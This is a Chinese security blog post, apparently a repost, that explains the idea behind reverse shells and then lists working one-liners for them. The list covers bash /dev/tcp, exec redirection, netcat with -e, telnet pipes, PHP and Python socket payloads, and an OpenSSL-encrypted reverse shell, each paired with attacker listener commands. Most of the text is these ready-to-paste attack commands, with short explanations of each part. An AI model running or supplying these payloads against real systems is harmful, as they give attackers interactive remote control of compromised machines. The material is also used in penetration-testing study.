各种反弹shell原理

admin 2022年8月21日11:50:31评论27 views字数 1711阅读5分42秒阅读模式
一、理解反弹shell
1、为什么需要反弹shell
当正向连接不可达时候
  • 客户机中了木马,但是在局域网内,无法正向连接。
  • 由于防火墙和局域网的限制,对方只能发送请求,不可主动接受请求

2、原理
反弹shell:控制端监听某个端口,被控制端发起请求到该端口,并将命令行的输入输出传到控制端
二、常用的反弹shell命令
1、bash进行反弹
(1)在windows上启动监听端口
nc -lvp 4444
l:代表入站监听v:代表输出信息级别p:代表监听的端口
(2)在Linux上允许反弹shell
bash -i >& /dev/tcp/192.168.0.1/4444 0>&1
bash -i:打开一个交互式的bash>&:将标准错误输出合并并重定向到标准输出,也可以写成&>/dev/tcp/192.168.0.1/4444:调用socket,建立socket连接,其中192.168.0.1为要反弹的主机IP,4444为端口0>&1:标准输入重定向到标准输出,实现你与反弹出来的shell的交互,可以接受用户输入,0>&10<&1作用相同
/dev/tcp 说Linux的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个bash命令行的过程中。
三种输入输出的状况:标准输入:代码为0;或称为stdin;使用的方式为<标准输出:代码为1;或称为stdout;使用方式为1>错误输出:代码为2;或称为stderr;使用方式为2>
2、使用exec执行shell的方式
exec 5<> /dev/tcp/192.168.0.1/4444; cat <&5 | while read line; do $line 2>&5 >&5; done
3、其他方式
exec 0&0 2>&0 0<&196;exec 196<>/dev/tcp/192.168.0.1/4444; sh <&196 >&196 2>&196 
4、使用nc进行反弹shell
(1)启动kali监听
nc -lvp 4444
(2)靶机反弹shell
nc -e /bin/bash 192.168.0.1 4444
5、使用telnet进行反弹
(1)在攻击机上启两个端口,一个输入,一个输出
nc -lvp 4444nc -lvp 5555
(2)在目标机上反弹
telnet 192.168.0.1 4444 | /bin/bash | telnet 192.168.0.1 5555
三、基于编程语言的反弹shell
1、基于PHP的反弹
php -r '$sock=fsockopen("172.16.1.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
2、基于python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("172.16.1.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

四、加密反弹shell

1、在攻击机上生成证书
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
国家代码输入cn
2、在攻击机上监听
openssl s_server -quiet -key key.pem -cert.pem -port 4444
3、在目标机上执行反弹
mkfifo /tem/s; /bin/bash -i < /tem/s 2>&1 | openssl s_client -quiet -connect 192.168.0.1:4444 

————————————————

作者:Darkid-98
原文链接:https://blog.csdn.net/haoge1998/article/details/124259580

扫码进交流群
各种反弹shell原理

原文始发于微信公众号(菜鸟学安全):各种反弹shell原理

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月21日11:50:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   各种反弹shell原理http://cn-sec.com/archives/1246077.html

发表评论

匿名网友 填写信息